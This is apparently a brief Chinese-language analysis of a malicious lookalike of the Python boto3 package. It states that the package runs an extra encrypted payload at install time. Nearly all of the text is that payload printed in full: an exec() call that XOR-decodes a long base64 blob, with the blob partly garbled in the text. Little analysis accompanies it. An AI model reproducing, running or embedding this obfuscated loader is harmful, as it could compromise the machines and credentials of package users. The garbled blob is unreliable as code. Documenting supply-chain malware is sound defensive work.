boto3 恶意包代码分析

安装过程

和官方正常的boto3 包比较发现，该恶意包会额外执行以下恶意加密payload：

1
exec(''.join(chr(c^k) for c,k in zip(base64.b64decode(b'Q[IB\IFBSXPZG_KW]AA	[]\HQR P@\T
TESWJ^AAT<PYAGF\^_VT@AA;SJW^S]BPZ^
DRUAEXYl\\EWJGZ]W]
QEW<>v*d>5|kpP V<3;T\KFXF8BIRJM{QJQRqFUv sAVMsL"JAQTUWLUTw@uqMV@rNDKr$IF JhAVMrtLY JA!]R"Ls#S@MV@p	NDKr"IF Jr BIuSJMy~QJ_{RwFU rkF@qMV@p}NDK
UIF JBIWJM~QJ RupFUpAVMt L'JAUU!^LSW ?QJVRuFUrAVM LXJARQ\'LUW@MV@sNDKv$IF JBIvSJM>AFAR]]UL!Wt@vMV@ |NDK'IF JwBISJMzQJ"Rt FUtAVMsLYJ2BDKUIF JrBIQJM}|QJTRppFUrsAVMtL"pJA !V_L#Rv@MV@uNnFUttwAVMptL'pJAVWQ"LQ^ @MV@p NDKTIF JrBIQJM{QJ_~RwlEFL S'@MV@NDK
TIF JpBIYJM~QJ${RtFUts AVM L'tJA$W!T8BIw%JM{QJWRspFUtAVMLPJA!P$QL'Uq@ MV@}NDK_IF JhAVMLYJAV"!%LPTt@
MV@NDKPIF JsqBIvYJM	QJ"}RvFU puskF@vMV@NDK 'IF JuBI XJMQJTRpFUs uAVMpvLW JA[U\SLpVQ?QJ#RuFUuAVM	qL%JAV!$_L!S@u MV@sxNDKSIF JuBIu$JM >AFA %R^LWTp@wMV@wNDKqRIF JuBIqYJM||QJQRuFUpsuAVM	wLYsJ2BDKVIF JqBIvTJMQJR R FUvtAVMLRJAWS'_LT%@pMV@|NnFUuw	AVMLPJAT]!_L'_@
vMV@|NDKQIF JsBIw$JMQJT RrulEFL!'@MV@}NDKq IF JsBI SJM QJR	R
FUvwAVMsLTJA &TP8>?_Gk9W^MkF	QVV	MTpQqKQFN
THK'PJNNL# @AyBTN
vJEVH
RIwMFIqt$<BDKQ&JNqNLR_@ AtBTNuJEVHtpRI	MFI
#	PVRM!QqtKqXFNz H<FEVHRIvMFIT	% V%MPQuKq$FN!HK_PJNwNLUT@~rA{BTNvJoFMR	QtKuPFNTHKT]JNpNLSR@zA BTNqJEVHsRIMFI|
$	 VT<BLVT@~A~ BTNJEVH
 RIMFI P	 V'MWrQvrK%FNWHK$SJNN;AFI{V	PVS M$uQpuKvXFN}#HKS JN NLUP@AyBTNwJEVHrRI	 MlKQFN}ZHK''JNNLY%@zpA|BTNrJEVHtRIt MFI  S	&V$MVQ2A|BTNpJEVHsRI	rMFIvy 	TpVVM! QtwKv%FN	QHKVTJNNLY'@qkF	WwV_MS Q K 'FNUHK"&JNqtNLXQ@~A{pBTNpvJEVHtRIs MFIpU<BDK_SJNuvNLVR@
A}BTNrwJEVHRI	MFIp
t_	WV#MSrQKp'FN'H<FEVHRIwMFIyW	UrVT	M!QK'FN{UHKPWJNpNL '@	AzsBTNqJoFM$rQ K$FN HK%SJNpNLV_@
AwBTNwqJEVHqRIwqMFI q"	QwV <BLP @|wAyBTN  JEVH
RIMFIvW	&VWMSQ KVFNRHK#&JNsN;AFIW	SpV'	MSQwK  FN	&HKT!JNq NLV'@uABTNp
JEVHuRItrMlKuQFN|RHKU'JN qNL #@
rA~BTNqJEVHqRItvMFIwz%	\VSM[Q 2A	BTNqJEVHRIqMFIwyQ	  VTM' QKUFNQHKSPJNNLQ%@wkl2R\DEFQ9DWEFK;AFWZJZ\FJWW\ElBR[QVF \]K^<FEFBBo;n[hG>P	@mJ9khY;8l:VSR_GkWnWALVGIAO<BDU\E[XG_VQIR?AFPVD\ZEQ\QQV>AFAFKmP??\n[E^DiGj ^Io=\lnRen>kV^J
PGl
CEhAnhc	nAA=	kbS9@=W;kkji:WhKh<iWe?nhW8JAmh9 lAnhc	n>AFEbR9mnJEkko?G:ThjeG:;cdBY@hT8=oF9loS;FcnoSoJEbS9mnlEFEo?jiMFFjec iMcd9Wk>Umii_BoR;nh@oQo=kBmn=V;Eo?jiklQTSQ]B>AQPM=YD@NO
8BBj<=lKh<iWe?nhW8JAmh9 l\FFjeciMcd9Uk>WmiiBBj<=l?iVem?H@hW8=oF9loS;FcnoSoFJ9Vkh;IFCiinPl=ln
eiWem?nF= omhNBoP;nh@oSo=kBm n=V;GnSlj<JBn
eh<FKm
??nF= omhh;UQFTUQgJ\AV9SS@JXO_lSC]A[GYVTQIO<BDFE _@^_F RT	>AFBDF=Yom^hBo
=\lnRe9>FUS_DZR^SJP]Z f$BTNuuOEVUDLYVPTKVISF
SM<9WF][NkF_VX9V^YMU] \2BDBF= ojj iA8Pn
ejAS=k3BDFFXFQii?B =lf@AlF@BPRhV8FnWo?;AFPn	ej\h_^VN=ojjiHlYh<8MB:KGSmhBoU:Uh? iUeg_DBmFY_ST9l?F@?2\VRA_@iZC^]M<BW[F\\VAUUXD[ZK9^UZQj^]ABnQe>kV^Pi^Z:_^CY[B[l^\FA[FQXXTVNQO
8BA@LZYL_TLEhZ;>VmhF9XloS;?AF@_DNGZ NHF_YPJBj]<=lf@oo=kKnFEFEo\?jiA8@2AFJ9kh;E8@>BAFBnQeh<8LhDFEFAm]h9l?[G?2A_@iZC^]M8<Fj^_\F;V	TVVMRQ	KQFNRHKRUJ:RI	MFIzP	RuV"M#sQuK lBTNuJEVHsRIswMFIqP	]VUMTp>AF@|AzBTNwJEVHtwRItrMFIvW	W9OolTWPWETGSTEGQ@@J3BDAB\oYBEMEnQZUoOPVD_ZEQ\QQRXEP@LAOe<3P^YJVLTBAC\@	>AFD\D]UAG@\U\IcnH8l\S_BYAlUAUBSkFJ]GA\FZOMZmE _@]B[]FOXEYO2<]Z]:IFSG>AFZML	A^KBM<FE _@]_FPCF]\F \]U
\FLO<BAF\WWMGooFRpu	lEFBA	@EnQe	AlBD	U<BAFWF@:[;BU<FEFBSF^;FFJX BV@N
D<>QWD AYYQ]@J3BDCY\QkY_	AW_QTWPSKGOEC ?BQU\V_	APLSJJ?FRWWmZQ[?QU\V_lX\O2BDDVGBZU\ETLFEY\W]Ul2R\DC]CN@^W][TI@H\?CUVVQfXF
Q[X@PEjP;?RGWLI RZ]:
U\
R;AFXTFKYTQMYR]
QF
Q[X@PEjLTUQQVTkWeWZ] DiDTUXZ9YT[e9AFYEJBR
	N@	PUPRnY]VR@FHPDFRWW<BCQG_U]@G U2<]@C
oPZ[V	BYFPR]V]SiJSPIFBWGA\TnD QX[_gFWO<BDFECASFAB]TZIPBFY_VAFZZVi@Z FCZCPIMZFmYR]
Q9FEFGEDFFn\PKKRSi_SRkU	FY_ZP_SNT]]WKW^MQ

[mE]Ol>kYPFKrq2lBYF]9RKi_PnB]C	AVV^JEU;AFQTSgl][giZUFCFSFj	TH[lASKSKDZV]NCFSFj	THA[t}kFG\Ef iXV:YHS>BAFBPT^Z>@	MX]Dr#6HB]CZQnSM>PHjKQIQ:^VTBVA9Ik>BAFBPT^k
Wg[X_PVE[ASXSLnTL[UjS]JSLSK=SJloFPPnQT_QgSVMIATPB	W@G9[WOhAFS]Jk]
M[WDQC [UAXIFEPJgXQlBDBSB]ZnB]T]]SLSK=SJFJI<BAFV^YMU]G>BJiPDRG
XPZQ9V^YMU]GH8FBDZFXF8BA]XY]_Q]OfZF^OF]W9G^@V\@JWBP9FEFBCQTZG]OfZF^=k?BAF]
]X	OlP		]\EGX@TE\WVlGHBT9FEFBAFFZJ\UBVRDW
?BAFAFOYKDh:_JmVhBW^FAX[O\FolBDFEF^CP:VhkAk]c_dhDFEFBF	2AFBDV
 ^SZPB@jZPA	\U
X _VMUKiWZD\ZOQLVF FWXfLV[XF<BAFAE	JR_Dm@l
kPkSCVA[BWJWik8FBDFEFG]DP_I[9WHA]KC@RiP\
^Am\TCUZ_jKQIQ<lBDFEFYSMj^]AFTHHVZWD]KnFEFDQAC_:PHj[W_A\cDLMi^CF\_JY]S
]X	OlP		]\EM H;?;PTF]XZFGl		SYGPW
TX[L]K@HlBDU@BY_D\_A]@GA[hDFEFBZU\nB@ PZJ@ATUWMNC
^FSLAK;AFYWP>@	MX]=SJ	Y\iGAETAP]SgXQmYBKS@hV8O:B	G\Q]S_SSH@V
H^mD[@UB[lAFJiQJ BZU\nB@ P?AFBDE[Z 9B]AG]P]9FETL]>AFBDFHmU[Y\_GIYP\Vg@@ F<BDFEFUQnC[Qn^]ADSViJBVF\Tk^HnY GXV]Kh]<lBDoPO@PAX [nFLYGQH8FBD@ DmD[BAX [nFLYGQH8FBDR9B]CZQ=ZTMIYP\Vg@@ FJPl o_W@GRTG:Kl22AFBFAEQFD]MPSH@AYYQ]kFLShnFVRQVHA@>Y^VS@QTJUPSAG<BAFTBF]JGWUPSAG	S;AFP]ZJiJBV[EIFSGPEFR\HPVFWL3BDFEFQVRkGD_P>PH[QC\@9KBX@	 m]QL=\P@VTFciH8FBDZ9CZ_RA=C^CNVXEP]AkFLShDFEF[XBjDSkATF[ZD	WgEMS9lEFBW^FAX[JRZWNKSUJXlA	TASMF 2AFBDR9B]CZQ=ZTMI\A]]JlGS]ZU9Im[UAXRQ=\l2AFBDZ]:YJiWZD\ZNVXEP]AkFLShDFEF_Gk\WAgJ\CQFQi@G8BAFQVEkGgT@EPU@iGAETkF VgDV
RlXNS[F\PnB@ PK]_ROm]OfBAZ kk?BAFG]LFFYBKQJ Q_D]CnGAT22A]P
UAJ9SPUF]WAYP\VLVLFQ@XnFEFWGFCE[\N	\W<BDFE\S_ZAIE\FEPQH_U\]NMKnFEFTXZZB\Fnl?AFFK_\FE[[@>BAFWZJCX [LSA;T_\FY\GEXEk
ZR^KCX [LSAM9FEFBV	VZ@QTH]XZFGl		SYLZnSMFETYZZWLi[UXFUD_[@>AFAFZZVER^VVYRZkFAFFK_\FE[PZ[V	;AFJV@@TEJ\\ZM\]U_FK;;AFUP^WQ@HBfU@	 U]E
TC@AQNkFBDR@ DZQ[JXGA[2AF YPXE[ik>BAFAG]NZ[AFPnFEFP[GBRXD	GEP@LlV]SPDEC_9R^YW^R]PCA]@G[8FBDFEFR^YW^PD[U@WAkK]ESEZ	EQYUQLAAgZ_[YN[_I
DGV9R^YW^K>AFAFHD\YF@FXFS[F\PETL9W]Z[S9AFBSGFFE\FUQJSOZX[Z_[Y3hnU_RF]WRAF;AFUP^VZ@HBZUFDS?BAFSJW^	_[PYAGFG8BASF]TU UVBfXUZ>DU\Uk^Hi:DCPYM]iA[X9QQTUXUTLY
QlBDFEFYSM_SUZPQ	\SZU^FiWZWXS:DP_VgSVMCo=SW;]VJD8O:BAF\NAHMDX Y^WSO:BAFVQH[QF@B_Dwv`NIQ[CHD9VSV\R@ FQ@hDFEF
\PWA[_POXQFQ@IDUZC DWN@BB\ T W]WLhDFEFTEAXCWB]DMBFQQ<BAFP]F]9AFBD E@XQEP>kF\]UWJOILEV_ IFTSBUX;AF^A[UWZB[C\F^WA^\D PnQQ_VG8lBDFCWZRVTZ9V^[^QToCW[iRnhD\GShBCPBl\S3BDFEF\]QNQPAY[8FBDFEF^H	ATBPVW]UV@V
HQUSZA=R^ZRj]VPk
Wkb@ SPl o>BAFAM_]BYWR=
 i?BAFAFQ@_DRRG>UhhAFAFUMBYWR= Pl;AFAFUVZ oZ[UVBP Tj
	ikFBDFEF\XR	APFS]JA[ LUXSA2AFBDFEVU[XPCQ>\VPKL\SKSZE9X_WWX;AFAFBDAV^A@UA'pbS]JOV[D@iPQMD]CKPZUP9AFBDFEFWZGPXCQG_9AFBD	UFPDCZAD;AF]ZJ^AV^RUAUQ	QT29>AFR\DQVG)60U@E]ZBQ ?AF__BZRG 
][UV=GTFIOnhAQGVU|`FGM@^W@SC\VnC]J:;2BDF 
CWGEDFFE]TL^\FAEM	MED]P@	G\J]_Q A3hD  US@`TCZ PF]TU[8FBDG\@S@@_[HRTATWT]O<BDFEHQSDAXAU?A WD	D_]=EDeasfNx.!{px}Cg5}dw#)s;_F:BAF\^X\FWE
@ZA	H[WOGKF@C[W@\QDV?]n9lEFRQSBW^FA|PKKRS]Z_NDRRGL\:BADGVQUWP[TPS]P	ASXSLPVQjRZV^ZS:3m}@9V]
UBBTXHP_VJAC@IXWX[C@NDSPR^PN22A]PD^R7CBYZFBQ QYLR[8FBDAB\^F_XQB\YGUO@HZX@V
HQUSZA=R^ZRjmmzpCoJKn<FEUTDZE|QTVPyVWfFQSO6S@C	UEQYP T2AFKCA]F\TRZ\P@3FAZVKVW
^]DJCMU^PXZTf@TFL@QTH^YKB~VWWPTPF6zbak8FPT+UAEURp_P3AC\]NVfAWXJLEV_ IFTSBUX;AFJV@@E\U\D`SGE_BQIP]S\VWKLJP^bWGAPEG
SSWJ^UKEXWRO>?BSF]VW` AwCMBfCUEQY@ ^n\\[FMBXnFEFDQF^_GcCSSiPFGo[R@DBQ9ZDAHMG[	MBI
@^S@P'YBPEn>AFBD[V@UNBPWZ_DAgD\Y]@GJDQF^_GJ]@D\]EnFEFDQF^_G9QPAYW
^IB~VWWwZQ0TEFCTg]KC[A[\WTVOolQWDAcPKH\ZWE\	9FEFCHkFAFD\Y]@FE[V	B	A=h;AFBW@XCF]WFZ\V_@>AFBDF	BBUF	XZATB^QVTG[8FBDFEF\EUnVWUCXF\dBYg
8BAFAFYLDHFGQA]k\FZnLRG
m\dNDF@9_GBD@FZnJVG^kBFU\^	DWRBeCAFH;AFBDFEF[PABZoCGCZJnA]LmWGFG;PC^FClAFBDFE\[PX]Q>G^BK]AA[BXmC]WBQGlA	@En^ZXmJYNDnFXFDSE_n@WXX9WCZOKVFColBDFEFBFAZVKVGOSHSWLYFGOoFBAFBY\T]ZFFKSUJE\P9_GBPAEMIOFW[XGOSHSWLEV_ K_Q]GjDEA2AFBDZ EN^SZTBDFTFQFWDJS]
[AB[lAFBD^VWW	U\^[]LiKF\] DFPA^ZFJVG]KSJB<FEFBAF\WKWP_FUSJQVhD	SYEhBG^B?AFBDFCBYZFnUUK]_ROB	KBtERT$T`S@GTGQ3FAZVKVWKW^M<FEFBAFS^GJVGVKF\] 9TSBUn@CTG	[BPKnkFBDFEFBEUjX[\]K\=L_GFCWZRPB_RBd2AFBDFEFB]FGTFHc@ Ag_]@9F=FWG^=XU<Fi;AFBDFEF_UFAnKGUGk_Y@UAEh9l>AFAFBD 
VBUF	X_SHE^EKVXYER
Q@UJ@TZn]PI2AFUVC_F@SEG?hAPWHJ\WAlWJ	LEV_ IFDSE_X;AFLAM[8FBDFEFDSE_n@BEUPUe5@]<BDFEFR@RE]_]GUFE\GkU[XP_PC;{WVVkFBDFEVUUYPSXNSD[[LZ[O<BDFEFBEF\?AFBDFEF@SDUXZ_TWRPYER9FFRADWDG?]FAPFScD @USMEnF 
CWOHhAFAFBDFRAkBUF	nXPF;LY@_:YER=RnFoFBAFAQ	U[X FGU^PB@ ^j[W^Y \kIDLBS[G@;AFAFBD\FDPP]	X\TV\>AFBDFEFSLVAE$VTELQ\ZASSKD	9FEFBAF[FMB_DEGAN B]D?BAFAFBW@X=GB@YF?5@TAFBDFEFhAFAFBXmA\Fi_^A@E?AFBDFCYmV\AXPUe5@]<BDFEFQYT>AFAFBW@X=GB@YF?FZn[\Y^LS]@92U8BAFSSmEF_G;s_R@	[@VYEU^ZZ\LF<FEFQMTA@A#MRPHLZ[K\YA	lEFBATB^cVF]k_DBR@>DS][DYETPC;lJFQkFBDFEQA]oTBAlVF]2<BDWV EB]UQFePG
[VFKVX\2BDFBWWPFBXAAF2BDFCY_ZRYWLY@_\KBD9FEFSC@ ^\VGUYVQJXnFEFBXWFZnKGUF\dBYu	U<BAFAJFM
SRWf^FPU@ RTAKVXJYZEgRJ\WYP_JI[H^WAY FNLWJ	?P\^ViBEPG
=ETKSl];Q@NCYhAFAFBQWW@H@WXP;AFAFJEGRN8<BUQFRTAlY@_\KJP	lEFBUP@ FNRW[	VBFQVG9CY_ZR@FZ\V_lGHOUN9FEFPB_RnQYLR\]Z_LY@G+ CSQQtUcQ\TC]jVG]KSBRlEFBW^FATB^Q]SS_W;RRG>DDSE_F@l>AFAFLB<FEFBAFETKSl]\LWJ	?ZWD8J:BAF]UWWFGR=QYYX_U<J?AFBDQ_S@PBFZnHRF _LSKFk9FEFBAFJ]@AFDNnFEFBADV^XHTV@VDEVlEFBAFKGUF\$Z@VJoFBAFVF]EVlEFBAFKG[B\$Z@VlEFBA?AFZU[[XSFLPADQA2AF@	C][BEPG
[Vj\YGU[8FBDFEFV]DERZQF\_LY@_\gRXm@	CkT]ROZR^KgZZOBLI]VGOolQWW	VZ|V@QTO<BDFEQFWBJ;AFADYUMX	FGXWU_\>AFAF_I@^@\DQQA
^B@[PX]@[YL^^\@]WN;AFA	KBS_UHD}ebPBX[N?AFBDF@D
EQYVQ3FTGVY^QIJ2BDFEF\ZEAZR^]LSFWEM[VOIlBAFQWUR]DJ]VGHDTGP[J>AFAFFPF\KUFF]QJ>AFAFCL 	 
VWSPEnWSXRccU^	YRl7-rnJoFBAFPG[PZ@QMD\@^KPQD[PFBY FXO]SLEVD^>BAFQQAFMXlXD
EQYPSAnVWVU]iD]XZ=SJ;>DU\Uk^HiMlAFUAJ_\i_PYWY_VZmWX_mV9[WOh9UQ9^TLe9AFB<FEFQ[^UQ9QPAYS] L V	TWGPWU[Ej[W]RU=fXYRW30/tkPR^PNKVXVUKBY
VCYEUUPV[\PO3BDFEFTWU[QUnP TKVX]UKB@	 _W_P0T@AAPV[\PV9\WMHc)62>BAFXS@@ FK
WV
UViPTPkFAFcl+ 	^Z[TBPZUP\gWUSHJSIUV 
VWSPEnWSXRccU^	YRl7-rnJGDm\l>AFAFKSUJWTV9S]XR\ja4/qha4{"2BDFEFDQAC_5@T?AFSUAB\rTBT>kF\]US]d\S@GN\TQEPAPE]W\&w2hDFEFZRFFBOlAT	JQRVAFASXSLPVQjRZV^ZS:.]W]En\oFBAF]UGKc[Q VJm[V;8F^QTTCoCT]@]n>AFBD_U X]R_s$2?AFBDDVBFXFE@ZX\ CQPBAjVEWLJPR DmU[[XVoC5PCC]JiAFKSUJWTV9S]XR\js`c|eAYBS_UHU\BkV_W]=vPLma}CoF_FQRQVUTHJZV]	VK3BDFEFU^EQhAFWZ_ZKUCCQFcQPBAKVX_SW;U\] keQGTC<FF]TU UVBfXUZ>D`]E@`0xiMFQPAY\@<BDFElB]FFTY^RS\gUV_ThD5_JO|ZEiA[UK]_ROS]XM=Y]U=bD[Ma^FDh?AFBDB_@FXFZB@E]FFTY^RS\gUV_ThD5_JO|ZEi:VhCZLFJ@DS_@EDXFBDhAF	S\Z\DF	
YPFPDTGH}eahk{UV
]DG_E\AS@]]]HGTDM]@@Oz2lfq
R_VoFBAF\WK]_ROS]XM=Y]U=bD[MdBQDhTV\G^ W^
BlP	 YUme^IM1FBe9AFBDFEFBD[MY]\ZAQGKB2YKJ.T^SF;AFAFBDHGHV]DYTEXOCE	NIMD"K	HBHV]DYTEXJBPT^UWLiZ
PZT=G6B]NM`TC<JBPT^UWLiZ
PZT=G6B]NMeBB<Jm?AFBDFEFBBTXHTVPVLlW\ QQb@4D\K-	CFiTAX PATK[I@F 
VWSPEnWSXRccFJhYKFk9FEFBAFH2AFBDFEFQGB\_DF
\SJ]BAA~m64tR@'EF^|TU]QN;AFBD	^WDBDCXWG]IFQFHZCP i\CBFFZH AYPRZ^J3BDFEFPBTkFAFBDFA\FCFYXSDDPKLd]A~X ZVANlBAFADCKLYA^ND^EBJI[IJHCNOT	J[XLB_@JEU^PTT_@>Z_SQ_h1@	@OqBnH@^WWPJE]GJDCJE\RToQYZSVj1ZILhWA@CoO2BDFEFBL>AFAFBFV]FCFYXSDDPKLV[
\iVXVAN_JO
P_PG?AFBDCA_
@SE@BEFETTTl[W]DS]VLlB@;AFB_G[F\^_VT@AA@JT\D\NJSHKDW@ @]XGPX;AFAFVUWTUQ	QTJ]@D\]KROoFBAFJV@@YLJRVP	]SB\T@		Qs$fASU\FElBQPAAAQGV@n<FEUTDTBTP*Y]QYLVW
^hDFEFYRkYBE\Fn\VLLH WDD_] 
VWSPEnWSXRcx]^"YB\@9@C
?;AFSW\YB\[V9\[E@nRl
j]\KLh<FSRfEGhT8O:B UTL]G]WHVYNJMF
DQAC_5@T?AFSUAB\rTBT>kF\]U UVBjSC 
V>BAF[>AFBD_UASXSLPVQjRZV^ZS:,QBMnF[F <BAFN	AT
WWMJS_UHU\BkV_W]=bY]]C<FYRGN\TUR_Ek	[W\_c~F]D?MVLlBAFXSQ]@IDOR^<FEFBAF_JRZ]DX DR] N ][GHF2AFM	S@
 @EQYPSAnVWVU]iDkZ\nLl:TWAF]TUAFK]f C<BAFSXY]gCUZFI^Z EQF^o?	A	FF]HhkFBDFEFQYT[HEPAPY[\NKSUJUFA DmR]GRE[ATLP>AFBD<FEFC\Y[[SQTVkSPEFV<BAF[\ZWLBAV
Y\SGK;AFA@LCKD
^U[[T_@Hl?WQ\JP[m_PBAP@	O;AFQPB[[XFhAFW
^ZDV]:Y@SWACH\FZBHYG\OVJXX\@HDZP\_PYNFTY^PA@VBfDVP
IZBQO;AF]ZJ^<FEFBBQ R@JJVZmQD\YAJFXF@SB\WD ]je	A]E\Dj9FEFBAFTYK][YBQLT@C]EEEY	\_K]_ROQJD\iWZ D]DMPE\HO?;PTF[FZUFCYi]QNB[VT\VG[YBP
	9FEF\A[B]MLZXk8FBD@	SWiDTY	AZDG[]]WCKmnFX[]EFAhkFAFBDS_@E	CFUA
[[BPT^W@]XM= _AV	BKGZCRQHl?A]EM=WG[FXFTWE@\PE]XS\VG[YBP
mnFX[]EFAhkFAFBDS_@E	CFUA
[[BPT^W@]XM= _AV	BKPPEXZ \^[29AFBP\KQF^\UXFIZDG[]lD F3BDFEFF
DE]HV^EALAQWCKiCRJVSGA=AP@	O?ATE\XnFEFBBYAYVWHJ]JU\=WG[JEUABkEEYkl\VRAQ\JP[m_PX;AFJV@@E\PF^FiP\TR@L;AF2BDRVUF	G\Z[TBQ AYKXkVJPP	9FEFX]Q>TE]R^__B__V=U;ZBQFi;AFBD	UYGPE\OZX[KVXMDK
BlWSFYFLNWXXO?;AF^_U;EZIE[]EFPEYTjHYG\HLiJS9FEF^EU9VY@VS@\VBZVlUv*d>5|kpITTSfLVCE%xgxj1xkqAX22AFBR[E:BAFY[G]\DEGl @]XGP@>AFAFD\Y]@D
m>BAFH>AFBDFEF@TZn]DAYKXkVJ2BDFEFBE[YnVPM]_\BVZlP[A>BAFAD^CU;FRGG\T_XP=AP@	J?AFBD^YiG\TA%}d{sg`};wlBDFEFOk>BAFL?AF_W_R_9CBYZFYWHW@@,WKW^%XWaYW@QgBA[PQYLRkFBDP[o\CY_ >AFCFYI
UZ
 9@SB\BCVFOPF^	>AFBDFY^SaDTkFAFBD_U=CYRZEUX[KVXYER
Q@FDSE_n@EPG
9\Ue	AFK]f kh;>DCFYDEUi[lAFBDFEUFCF[B{[FFEZHHVPOl2BDFEFBR^Z[EUW\z*1xxl5,<u<BAFA[ XVDU\] D<BAFAF[WXEE_\S>?BAFAF\WMDHlEFBAFCSL_VF
DmDQF^_GD?AFBDFEFFPA^ZFc9AFBDFEFBlAFBDFEFBW	[ZjVM^[PCW	;XF^JoFBAFAFBDU	o[RBX_]T]jJ]@D\]mEC\Cko?jR
Pn\\nkFBDFEFBAFP\\gRX	UWTTZ	QT[W]@\]YWVNLJ:BAFAFBDDCYi]Q@@ ^n\\2AFBDFEFBIkFAFBDF8lBAFN>AFBDFEFU\@ZnZ2AFBDFEUAF[[T	AP]SH\GKEXw]W4 B[SBP0TBDFT\YGUH8lB SUASXSNEUjXQ9AFBSGFFnX^XZI=JHHIC WDTKF
WXB\^_o;SWJLA[YJLXEZ
m<?BSPNY_k]]JP[m_PBR^Y[U2AFBFAEFSZV\\U;AF2BDRVUF YFGPWFZjQ\kFBD\@H:H[BK;;AFUP^Y[YTZZUFCYi]QNEUPEjLY@_>[3BDFEFDSE__j@ ^SWJ@ A_WBS_UHCY_ZRXRATB^cGUY9QR?DWWBkABZkh;AFLWJ	?nhD_BFQQ@l	A2GDP22A]PT@ 
V@TZn]O;AFWCMBYhGH]WGEXEC\^WAVM
SRWWXAXCP@Ni2AFBDZUFH^S[QC,\_aPJVUFYX]BFW^DE_F][BEZ Pi2AFBDR]ED] W^EEVY^QAS\ML
W^VFD[\[WJICHS^GUYGSSiPMn9FEFWX^@L
A\D\D]EDZ]TGX^AFH;AF]ZJ^AV^zZB]^ZFGD[VQ]SAX	ZE@n<FEUTX\EnY@]PK@QTJBXiZWJE_VCXP=_PY[2AF^\
UmXUX;AFA^T C_V9]W][BBTXHX^QMTVfB	]\	lEFBAFJ]GA\FjW@J\\ZMU^PXUDX4PAZcU\P^gXXk]\[E@K;AFATE\XDDVGMI^E	@_QQ]]\S]B	YWF
 P[GPE	QDY]g]UWO2BDF 
CW>BAFAQGV>
Y	ASXSL\^P
PcPHW_KhnFVZ]FnEWNFTY^GUY9QRUgRV@}]TCLyCD[YBP
`F	BFWZPD
Pa{{`"qH\TK^<FEF]X^C@AD]\L] >kFBDDZFCCZ]AW[TVLWVHKZ
9FEFBW
@\[K:olBDFEFTYF^FRZVVLQLSE4drt+$FDSTXP=X_RNPV[]@GCA3BDFEFBW
@\[KRDW\K99FEFBVcn>AFBDF	BD[BBX_	[P@]PAWNe|.!ugLE b}{RRQ2AFBDFEFDQUTATZNG^B2AFBDA\FEBjl>AFAF^YKBXGAE^BWVX;AFAFU
SHoFBAF[\AFF	BnFEFBA ZC]VG\F]XM9FEFBAFZRAQ	TCTmP\mii_#*zsY]PAWL_Dx\]_lBAFAFXVh

E_XGn^DZ;n heS] L V	TWQ[PZUP9AFBDFEF]BQ[FYX[]cP[GVEbC]G;>Wmo	ECA?AFBDFEFU[@E	PlAFBDAV
DAUET_PI
\_P29AFBDo@SG@EB\FNL?AFBDBPP9CGZ@F9TZ\TFe	A@KCU<FEFBCQG_C@QDKC_GE:8BUTRA
ZPQKVXFLWJ	;_WF\Wi]QNR[T_Q9AFBYGR
:XGX_FBkFZV]f[FUlBWjRZ\]	AD2BDFY^SYDZ
9[DX@FTiZ
XX@O_lBAFXScGUYF^YKBW@XFASXSLEPG
[VFQUSSmEXlDm	PB_>QlnehF	HF\Fk	9FEFBAFG]LFFDrY[BB\C <BAF\R@ [M@UGZ	D
DZEnFE^[K]A]EI
EV@D_Fk8BAFAFM@F_\D
MYDZ
9FXO]	"z3v}f1-lvFG Y^Sk\YTjQ\CQMXR=
C^\EXGX_jD\JAYKXkVDM]lZE:BAFi8FBDFEFBWEDZBT\FFTY^C[F+]EJSr]7D@_QCcTG	[BP\R@ lBDFEFQ^A[	FAZVKVoC@KFVS@;>Vm8BAF[PFZ
mM[_U<FEFBE[YnVPM]_[UQ
]h
Q^iW]_ZGC;?AF	RlP	WBTUHW\]P[WN[^LmP[mRUAlOPRZ\]k8FBDZ E]ViWZT>AFAF]N\LU^W9	TWFP]PWNm[CDdXK?	nOoFBAFFTAYLGFI_\CJHP\^VPP]	X\TV\kFBDFE]ViX\E	A=NT[LZ[\X DTV\\UHl?AFBDDV@
CWEBjJCTB^gQW[YER=RDU@i[@AD@C\yWYWQW[T
R	DTYFXEWXP[\CQ	U[X E	FTmZ]F	XAY]LVPCFlDLDKn9FEFBFBT_]	AIFWZY]\ED@]E@jTBDFTFAWXJ	 @]XGPL>AFAFJSJX@V9DS	T]ROZBAu]@G UyX]0BAZbWEDZBTFBT_]>AFBDS_@_FBWBAGr YTQL\B
WW]BCMNF	]_WZQ@W[TE[W^Y \<3BDWF\]WPj^UABPT^SSiPHUZ
 J_YP@TnZ P2AFPYAGF@T_XPNX[klAQ
YEJB'pZ] ]T^PEkFAFR\DilZomGPWE^{YUVA[KBXS	lEFBAFK]_RO_	\CU6SC\FXFY\E@TRT	QDY]jVD8FBDFEFF]WE^{YUV\]FV,[V9FEFBAFF]TU>A	MDZ;URP FMI?hAFW i^iZ] 
NCWZRBCTD(T\PUA^Y[\K^<FEFBAFEPGLK	ATTZW	S@	DK;AFAFJ[\W	DTEBoLWh;AFBD
E^SDTY	AARWZZIBJBJKnFEFBA9FTTJ[[k@]D_DmHrTBTMFggZZF9gICgo<BAFAT	JJPZKJECmFUV	PVQA[jK]RFZ9WD]9FEFBAFAQBL^_D[\W	@SB\IBA \I?AFBDFEFBFLXBQ \Z\M_Q3WWmKY}R ;US@\W^YATLP>AFBDFEFBTIWA~]AvF]IE9FEFBAFVXW\D\D]]]RAY]9EPVSYTQM]ZI^9FEFBAF\F_I3VW[G\F		SSBQ^UAFQ]ZJBSC\AECEAW^UAG]H\z _3BDFEFBF FTqUC[F#JDVL[@TOolBAFUP^lSF9KYLS@	 DQEPYJW@TT]UWO<BDFEFBBAZU@T]A9HWZ	QVF\BW@]BG
Sj_]Gk\ WKY}R JTCXYP\QHlAFBDUF
	QF^BGNCFFB	vWTHAV
DZ>BAFA^KFRGE^EQYnGGRPg[RW	W\2BDFEFBAZDG[]	AATP=YFA 9SSU\P9CTXAYh2AFBDFEFFPDCZA@SXW\FXFQEfUXR JTCXYPE\MFF^@J[V>AFBDFEFBFLX;AFAFBD@\UT]ROZU@T]aQ]=JSI*W^V;KUSRG]AU;AFBDFEFAYAGT	AZDG[]FB
YU\JoA:ATi>AFAFBD
BQSBB^APG]H_UWNZeCQA9<BAFAFJPl
BQSkVRYQ:P]EYL[iAFKYLS9FEFBAFAQGVJ[\W	_GjPR_ P^M_XSPCAPoFBAF]KWBKEV/_@BqG^CC3[PWT]@	ZBX
@\UP[GB\^P
PKA MZUB[OolBAFUP^U]V9UY]S@	 PAY_PYJATLPz\3BDFEFB@FMZ^[G
]iCRWWG]AUK]_ROm]Bf
P\ 
